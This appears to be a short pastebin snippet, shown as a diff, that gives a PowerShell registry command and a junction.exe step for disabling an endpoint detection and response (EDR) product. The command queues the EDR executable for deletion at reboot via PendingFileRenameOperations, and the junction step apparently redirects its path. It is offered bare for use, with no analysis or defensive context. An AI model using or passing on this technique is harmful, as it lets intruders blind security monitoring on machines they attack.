SHOW:
|
|
- or go back to the newest paste.
| 1 | - | New-ItemProperty -path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name "PendingFileRenameOperations" -Value $($((Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name PendingFileRenameOperations -ErrorAction SilentlyContinue).PendingFileRenameOperations) + "\??\C:\Program Files\<EDR_EXE>.exe`0`0") -type MultiString -Force | Out-Null |
| 1 | + | New-ItemProperty -path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name "PendingFileRenameOperations" -Value $($((Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name PendingFileRenameOperations -ErrorAction SilentlyContinue).PendingFileRenameOperations) + "\??\C:\Program Files\<EDR_EXE>.exe`0`0") -type MultiString -Force | Out-Null |
| 2 | ||
| 3 | For making a junction, you can use Sysinternals' junction.exe: | |
| 4 | ||
| 5 | junction.exe <path_to_junction_to_create> <EDR_EXE_path> | |
| 6 |
